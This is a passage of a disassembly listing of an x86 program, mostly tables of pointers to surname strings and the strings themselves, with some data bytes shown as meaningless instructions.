ah, ch leave inc ebx add ah, dh leave inc ebx add ah, bh leave inc ebx add [edx+ecx*8], cl inc ebx add [edx+ecx*8], dl inc ebx add [eax], ah retf 43h ; --------------------------------------------------------------------------- sub dl, cl inc ebx add [eax], dh retf 43h ; --------------------------------------------------------------------------- cmp dl, cl inc ebx add [eax-36h], al inc ebx add [edx+ecx*8+43h], cl add [eax-36h], bl inc ebx add [eax-36h], ah inc ebx add [edx+ecx*8+43h], ch add [edx+ecx*8+43h], dh add [eax-73FFBC36h], al retf 43h ; --------------------------------------------------------------------------- xchg eax, esp retf 43h ; --------------------------------------------------------------------------- mov al, ds:0AC0043CAh retf 43h ; --------------------------------------------------------------------------- mov ah, 0CAh inc ebx add al, al retf 43h ; --------------------------------------------------------------------------- enter 43CAh, 0 ror dl, 1 inc ebx add ah, bl retf 43h ; --------------------------------------------------------------------------- dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" ; --------------------------------------------------------------------------- clc retf 43h ; --------------------------------------------------------------------------- cld retf 43h ; --------------------------------------------------------------------------- add al, 0CBh inc ebx add [eax], dl retf ; --------------------------------------------------------------------------- inc ebx add [eax], bl retf ; --------------------------------------------------------------------------- inc ebx add [ebx+ecx*8], ah inc ebx add [ebx+ecx*8], ch inc ebx add [eax], bh retf ; --------------------------------------------------------------------------- inc ebx add [ebx+ecx*8+43h], al add [ebx+ecx*8+43h], cl add [eax-35h], bl inc ebx add [eax-35h], ah inc ebx add [ebx+ecx*8+43h], ch add [ebx+ecx*8+43h], dh add [eax-77FFBC35h], al retf ; --------------------------------------------------------------------------- inc ebx add [eax-67FFBC35h], dl retf ; --------------------------------------------------------------------------- inc ebx add [eax-57FFBC35h], ah retf ; --------------------------------------------------------------------------- inc ebx add [ebx+ecx*8-343FFFBDh], dh inc ebx add al, cl retf ; --------------------------------------------------------------------------- inc ebx add ah, dl retf ; --------------------------------------------------------------------------- inc ebx add ah, bl retf ; --------------------------------------------------------------------------- inc ebx add al, ch retf ; --------------------------------------------------------------------------- inc ebx add al, dh retf ; --------------------------------------------------------------------------- inc ebx add al, bh retf ; --------------------------------------------------------------------------- dw 43h dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" ; --------------------------------------------------------------------------- add al, 0DAh inc ebx add [eax], dl fiadd dword ptr [ebx+0] sbb al, 0DAh inc ebx add [eax], ch fiadd dword ptr [ebx+0] xor al, 0DAh inc ebx add [edx+ebx*8], bh inc ebx add [edx+ebx*8+43h], al add [edx+ebx*8+43h], cl add [edx+ebx*8+43h], dl add [eax-26h], ah inc ebx add [eax-26h], ch inc ebx add [eax-26h], dh inc ebx add [eax-26h], bh inc ebx add [eax-77FFBC26h], al fiadd dword ptr [ebx+0] loc_43B148: ; CODE XREF: ___:0043B16Cj nop fiadd dword ptr [ebx+0] pushf fiadd dword ptr [ebx+0] movsb fiadd dword ptr [ebx+0] lodsb fiadd dword ptr [ebx+0] mov eax, 0C00043DAh fiadd dword ptr [ebx+0] enter 43DAh, 0 rcr dl, 1 inc ebx add al, bl fiadd dword ptr [ebx+0] loopne loc_43B148 inc ebx add al, ch fiadd dword ptr [ebx+0] ; --------------------------------------------------------------------------- dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" ; --------------------------------------------------------------------------- pushf loc_43B1C1: ; CODE XREF: ___:0043B1E4j fild dword ptr [ebx+0] movsb fild dword ptr [ebx+0] lodsb fild dword ptr [ebx+0] mov ah, 0DBh inc ebx add [ebx+ebx*8-243BFFBDh], bh inc ebx add ah, cl fild dword ptr [ebx+0] rcr bl, 1 inc ebx add ah, bl fild dword ptr [ebx+0] loopne loc_43B1C1 inc ebx add al, ch fild dword ptr [ebx+0] ; --------------------------------------------------------------------------- dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_439FD0o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:00439FD4o align 4 aAdams db 'Adams',0 ; DATA XREF: ___:00439FD8o align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_439FDCo aAdelstein db 'Adelstein',0 ; DATA XREF: ___:00439FE0o align 10h aAdibe db 'Adibe',0 ; DATA XREF: ___:00439FE4o align 4 aAdorno db 'Adorno',0 ; DATA XREF: ___:00439FE8o align 10h aAhlers db 'Ahlers',0 ; DATA XREF: ___:00439FECo align 4 aAlavi db 'Alavi',0 ; DATA XREF: ___:00439FF0o align 10h aAlcorn db 'Alcorn',0 ; DATA XREF: ___:00439FF4o align 4 aAlda db 'Alda',0 ; DATA XREF: ___:00439FF8o align 10h aAleks db 'Aleks',0 ; DATA XREF: ___:00439FFCo align 4 aAllison db 'Allison',0 ; DATA XREF: ___:0043A000o aAlongi db 'Alongi',0 ; DATA XREF: ___:0043A004o align 4 aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0043A008o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0043A00Co aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0043A010o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0043A014o align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0043A018o align 10h aAmeer db 'Ameer',0 ; DATA XREF: ___:0043A01Co align 4 aAmsden db 'Amsden',0 ; DATA XREF: ___:0043A020o align 10h aAnand db 'Anand',0 ; DATA XREF: ___:0043A024o align 4 aAndel db 'Andel',0 ; DATA XREF: ___:0043A028o align 10h aAndo db 'Ando',0 ; DATA XREF: ___:0043A02Co align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0043A030o align 4 aAndron db 'Andron',0 ; DATA XREF: ___:0043A034o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0043A038o align 4 aAnsley db 'Ansley',0 ; DATA XREF: ___:0043A03Co align 10h aAnthony db 'Anthony',0 ; DATA XREF: ___:0043A040o aAntos db 'Antos',0 ; DATA XREF: ___:0043A044o align 10h aArbia db 'Arbia',0 ; DATA XREF: ___:0043A048o align 4 aArduini db 'Arduini',0 ; DATA XREF: ___:0043A04Co aArellano db 'Arellano',0 ; DATA XREF: ___:0043A050o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0043A054o align 4 aArjas db 'Arjas',0 ; DATA XREF: ___:0043A058o align 10h aArky db 'Arky',0 ; DATA XREF: ___:0043A05Co align 4 aAtkins db 'Atkins',0 ; DATA XREF: ___:0043A060o align 10h aAugustus db 'Augustus',0 ; DATA XREF: ___:0043A064o align 4 aAurelius db 'Aurelius',0 ; DATA XREF: ___:0043A068o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0043A06Co aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0043A070o align 4 aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0043A074o aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0043A078o aAyling db 'Ayling',0 ; DATA XREF: ___:0043A07Co align 4 aAzima db 'Azima',0 ; DATA XREF: ___:0043A080o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0043A084o align 4 aBackus db 'Backus',0 ; DATA XREF: ___:0043A088o align 10h aBady db 'Bady',0 ; DATA XREF: ___:0043A08Co align 4 aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0043A090o aBagnold db 'Bagnold',0 ; DATA XREF: ___:0043A094o aBailar db 'Bailar',0 ; DATA XREF: ___:0043A098o align 10h aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0043A09Co align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0043A0A0o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: ___:0043A0A4o align 10h aBallew db 'Ballew',0 ; DATA XREF: ___:0043A0A8o align 4 aBaltz db 'Baltz',0 ; DATA XREF: ___:0043A0ACo align 10h aBanta db 'Banta',0 ; DATA XREF: ___:0043A0B0o align 4 aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0043A0B4o align 4 aBarajas db 'Barajas',0 ; DATA XREF: ___:0043A0B8o aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0043A0BCo align 4 aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0043A0C0o align 4 aBarberi db 'Barberi',0 ; DATA XREF: ___:0043A0C4o aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0043A0C8o align 4 aBarneson db 'Barneson',0 ; DATA XREF: ___:0043A0CCo align 4 aBarnett db 'Barnett',0 ; DATA XREF: ___:0043A0D0o aBarriola db 'Barriola',0 ; DATA XREF: ___:0043A0D4o align 4 aBarry db 'Barry',0 ; DATA XREF: ___:0043A0D8o align 10h aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0043A0DCo aBartolome db 'Bartolome',0 ; DATA XREF: ___:0043A0E0o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: ___:0043A0E4o align 10h aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0043A0E8o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0043A0ECo align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0043A0F0o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0043A0F4o align 10h aBayles db 'Bayles',0 ; DATA XREF: ___:0043A0F8o align 4 aBayo db 'Bayo',0 ; DATA XREF: ___:0043A0FCo align 10h aBeacon db 'Beacon',0 ; DATA XREF: ___:0043A100o align 4 aBeal db 'Beal',0 ; DATA XREF: ___:0043A104o align 10h aBean db 'Bean',0 ; DATA XREF: ___:0043A108o align 4 aBeckman db 'Beckman',0 ; DATA XREF: ___:0043A10Co aBeder db 'Beder',0 ; DATA XREF: ___:0043A110o align 4 aBedford db 'Bedford',0 aBehenna db 'Behenna',0 aBelanger db 'Belanger',0 align 4 aBelaoussof db 'Belaoussof',0 align 10h aBelfer db 'Belfer',0 align 4 aBelinCollart db 'Belin-Collart',0 align 4 aBellavance db 'Bellavance',0 align 4 aBellhouse db 'Bellhouse',0 align 10h aBellini db 'Bellini',0 aBelloc db 'Belloc',0 align 10h aBenedictDye db 'Benedict-Dye',0 align 10h aBergson db 'Bergson',0 aBerkeJenkins db 'Berke-Jenkins',0 align 4 aBernardo db 'Bernardo',0 align 4 aBernassola db 'Bernassola',0 align 10h aBernston db 'Bernston',0 align 4 aBerrizbeitia db 'Berrizbeitia',0 align 4 aBetti db 'Betti',0 align 4 aBeynart db 'Beynart',0 aBiagioli db 'Biagioli',0 align 4 aBickel db 'Bickel',0 align 10h aBinion db 'Binion',0 align 4 aBir db 'Bir',0 aBisema db 'Bisema',0 align 4 aBisho db 'Bisho',0 align 4 aBlackbourn db 'Blackbourn',0 align 4 aBlackwell db 'Blackwell',0 align 4 aBlagg db 'Blagg',0 align 4 aBlakemore db 'Blakemore',0 align 4 aBlanke db 'Blanke',0 align 10h aBliss db 'Bliss',0 align 4 aBlizard db 'Blizard',0 aBloch db 'Bloch',0 align 4 aBloembergen db 'Bloembergen',0 aBloemhof db 'Bloemhof',0 align 10h aBloxham db 'Bloxham',0 aBlyth db 'Blyth',0 align 10h aBolger db 'Bolger',0 align 4 aBolick db 'Bolick',0 align 10h aBollinger db 'Bollinger',0 align 4 aBologna db 'Bologna',0 aBoner db 'Boner',0 align 4 aBonham db 'Bonham',0 align 4 aBoniface db 'Boniface',0 align 10h aBontempo db 'Bontempo',0 align 4 aBook db 'Book',0 align 4 aBookbinder db 'Bookbinder',0 align 10h aBoone db 'Boone',0 align 4 aBoorstin db 'Boorstin',0 align 4 aBorack db 'Borack',0 align 4 aBorden db 'Borden',0 align 4 aBossi db 'Bossi',0 align 4 aBothman db 'Bothman',0 aBotosh db 'Botosh',0 align 4 aBoudin db 'Boudin',0 align 4 aBoudrot db 'Boudrot',0 aBourneuf db 'Bourneuf',0 align 4 aBowers db 'Bowers',0 align 10h aBoxer db 'Boxer',0 align 4 aBoyajian db 'Boyajian',0 align 4 aBoyes db 'Boyes',0 align 4 aBoyland db 'Boyland',0 aBoym db 'Boym',0 align 4 aBoyne db 'Boyne',0 align 4 aBracalente db 'Bracalente',0 align 10h aBradac db 'Bradac',0 align 4 aBradach db 'Bradach',0 aBrecht db 'Brecht',0 align 4 aBreed db 'Breed',0 align 10h aBrenan db 'Brenan',0 align 4 aBrennan db 'Brennan',0 aBrewer db 'Brewer',0 align 4 aBrewer_0 db 'Brewer',0 align 10h aBridgeman db 'Bridgeman',0 align 4 aBridges db 'Bridges',0 aBrinton db 'Brinton',0 aBritz db 'Britz',0 align 4 aBroca db 'Broca',0 align 4 aBrook db 'Brook',0 align 4 aBrzycki db 'Brzycki',0 aBuchan db 'Buchan',0 align 4 aBudding db 'Budding',0 aBullard db 'Bullard',0 aBunton db 'Bunton',0 align 4 aBurden db 'Burden',0 align 4 aBurdzy db 'Burdzy',0 align 4 aBurke db 'Burke',0 align 4 aBurridge db 'Burridge',0 align 10h aBusetta db 'Busetta',0 aByatt db 'Byatt',0 align 10h aByerly db 'Byerly',0 align 4 aByrd db 'Byrd',0 align 10h aCage db 'Cage',0 align 4 aCalnan db 'Calnan',0 align 10h aCammelli db 'Cammelli',0 align 4 aCammilleri db 'Cammilleri',0 align 4 aCanley db 'Canley',0 align 10h aCapanni db 'Capanni',0 aCaperton db 'Caperton',0 align 4 aCapocaccia db 'Capocaccia',0 align 10h aCapodilupo db 'Capodilupo',0 align 4 aCappuccio db 'Cappuccio',0 align 4 aCapursi db 'Capursi',0 aCaratozzolo db 'Caratozzolo',0 aCarayannopoulo db 'Carayannopoulos',0 aCarlin db 'Carlin',0 align 4 aCarlos db 'Carlos',0 align 4 aCarlyle db 'Carlyle',0 aCarmichael db 'Carmichael',0 align 10h aCaroti db 'Caroti',0 align 4 aCarper db 'Carper',0 align 10h aCartmill db 'Cartmill',0 align 4 aCascio db 'Cascio',0 align 4 aCase db 'Case',0 align 4 aCaspar db 'Caspar',0 align 4 aCastelda db 'Castelda',0 align 10h aCavanagh db 'Cavanagh',0 align 4 aCavell db 'Cavell',0 align 4 aCeniceros db 'Ceniceros',0 align 10h aCerioli db 'Cerioli',0 aChapman db 'Chapman',0 aCharles db 'Charles',0 aCheang db 'Cheang',0 align 10h aCherry db 'Cherry',0 align 4 aChervinsky db 'Chervinsky',0 align 4 aChiassino db 'Chiassino',0 align 10h aChien db 'Chien',0 align 4 aChildress db 'Childress',0 align 4 aChilds db 'Childs',0 align 4 aChinipardaz db 'Chinipardaz',0 aChinman db 'Chinman',0 aChristenson db 'Christenson',0 aChristian db 'Christian',0 align 4 aChristiano db 'Christiano',0 align 4 aChristie db 'Christie',0 align 10h aChristopher db 'Christopher',0 aChu db 'Chu',0 aChupasko db 'Chupasko',0 align 4 aChurch db 'Church',0 align 4 aCiampaglia db 'Ciampaglia',0 align 10h aCicero db 'Cicero',0 align 4 aCifarelli db 'Cifarelli',0 align 4 aClaffey db 'Claffey',0 aClancy db 'Clancy',0 align 4 aClark db 'Clark',0 align 4 aClement db 'Clement',0 aClifton db 'Clifton',0 aClow db 'Clow',0 align 4 aCoblenz db 'Coblenz',0 aCoito db 'Coito',0 align 4 aColdren db 'Coldren',0 aColella db 'Colella',0 aCollard db 'Collard',0 aCollis db 'Collis',0 align 4 aCompton db 'Compton',0 aCompton_0 db 'Compton',0 aComstock db 'Comstock',0 align 10h aConcino db 'Concino',0 aCondodina db 'Condodina',0 align 4 aConnors db 'Connors',0 aCorey db 'Corey',0 align 4 aCornish db 'Cornish',0 aCosmides db 'Cosmides',0 align 4 aCounter db 'Counter',0 aCoutaux db 'Coutaux',0 aCrawford db 'Crawford',0 align 4 aCrocker db 'Crocker',0 aCroshaw db 'Croshaw',0 aCroxen db 'Croxen',0 align 4 aCroxton db 'Croxton',0 aCui db 'Cui',0 aCurrier db 'Currier',0 aCutler db 'Cutler',0 align 4 aCvek db 'Cvek',0 align 10h aCyders db 'Cyders',0 align 4 aDasilva db 'daSilva',0 